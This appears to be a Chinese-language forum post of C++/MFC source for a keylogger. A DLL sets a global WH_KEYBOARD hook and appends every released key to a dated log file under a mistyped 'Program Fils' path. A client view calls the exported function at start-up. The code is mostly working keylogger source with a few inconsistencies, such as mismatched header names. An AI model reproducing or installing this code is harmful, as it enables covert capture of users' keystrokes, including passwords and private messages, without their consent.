Hookkey中:
在Hookkey.h文件中:
#define DllExport __declspec(dllexport)
DllExport void WINAPI OutEv();//声明导出函数
在实现文件中:
#include"Hookkey.h"
HHOOK Hook;
LRESULT CALLBACK Hookkey(int nCode,WPARAM wParam,LPARAM lParam);
void Savekey(char* c);
LRESULT CALLBACK Hookkey(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
Savekey(c);
}
}
return Result;
}
void Savekey(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c://Program Fils//Key_%d_%d.log",tm.GetMonth(),tm.GetDay());//不知道地址有没有写错
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
DllExport void WINAPI OutEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)Hookkey,theApp.m_hInstance,0);
}
在UseHookkey中:
已经将KeyHook.lib添加到project的link中,并且KeyHook.h .lib都已经复制到工程目录下, .dll复制到debug下
#include"KeyHook.h"
void CUseKeyHookView::OnInitialUpdate()
{
CEditView::OnInitialUpdate();
OutEv();
}